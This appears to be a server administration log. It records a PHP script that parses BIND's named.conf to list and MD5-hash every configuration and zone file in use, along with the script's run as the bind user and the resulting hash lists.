MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:34:07: Establishing a connection
2026-02-09 13:34:07: 

PUT: /tmp/pkp652243

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:34:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp652243; rm /tmp/pkp652243'

2026-02-09 13:34:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
